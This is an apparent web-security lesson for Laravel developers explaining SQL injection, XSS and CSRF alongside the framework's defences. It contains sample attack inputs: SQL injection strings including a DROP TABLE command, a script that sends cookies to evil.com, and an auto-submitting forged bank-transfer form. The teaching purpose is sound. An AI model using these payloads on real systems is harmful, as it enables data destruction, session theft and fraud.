Security for Web Developers
How Web Attacks Work
SQL injection, XSS, and CSRF explained mechanistically
Security Through Understanding
Laravel protects you from the most common web attacks by default. But "it's handled by the framework" isn't good enough. You need to understand how these attacks work so you can recognize when you've accidentally disabled a protection or introduced a vulnerability.
SQL Injection
SQL injection occurs when user input is inserted directly into a SQL query without sanitization. Consider this vulnerable code:
// DANGEROUS — never do this
$results = DB::select("SELECT * FROM users WHERE email = '" . $request->email . "'");
If the user submits ' OR 1=1 -- as their email, the query becomes:
SELECT * FROM users WHERE email = '' OR 1=1 --'
The OR 1=1 is always true, so this returns every user. The -- comments out the rest. Worse, an attacker could use '; DROP TABLE users; -- to destroy your data.
Laravel's protection: Eloquent and the Query Builder use prepared statements (parameterized queries). The value is sent separately from the SQL, so the database engine never interprets it as SQL code:
// Safe — parameterized query
$users = User::where('email', $request->email)->get();
// Also safe — explicit binding
$users = DB::select('SELECT * FROM users WHERE email = ?', [$request->email]);
The only time you're vulnerable is when you use raw expressions:DB::raw(),whereRaw(),selectRaw(). If you must use these, always use parameter bindings.
Cross-Site Scripting (XSS)
XSS occurs when an attacker injects JavaScript into a page that other users view. If user input is rendered as HTML without escaping:
// DANGEROUS — renders raw HTML
{!! $comment->body !!}
An attacker could submit a comment containing <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>. Every user viewing that comment would have their session cookie stolen.
Laravel's protection: Blade's {{ }} syntax automatically escapes HTML entities:
// Safe — HTML is escaped
{{ $comment->body }}
// Renders: <script> instead of <script>
Only use {!! !!} for content you've explicitly sanitized or that you control (like your own tutorial content in a CMS).
Cross-Site Request Forgery (CSRF)
CSRF tricks an authenticated user's browser into making a request to your site. Imagine a user is logged into your banking app. An attacker's website contains:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
The browser sends the request with the user's session cookies, and the bank processes a fraudulent transfer.
Laravel's protection: Every form includes a hidden CSRF token. The VerifyCsrfToken middleware checks that the token matches what's stored in the session. A request from an attacker's site won't have the valid token, so it gets a 419 Page Expired response.
<form method="POST" action="/transfer">
@csrf <!-- Adds the hidden _token field -->
...
</form>
Key Takeaways
- SQL injection — Never concatenate user input into SQL. Use Eloquent/Query Builder (parameterized by default).
- XSS — Always use
{{ }}in Blade. Only use{!! !!}for trusted content. - CSRF — Always include
@csrfin forms. Laravel's middleware handles the rest. - These protections are enabled by default. The danger is accidentally disabling them.
Ask me anything about this lesson.
I have the full lesson content as context.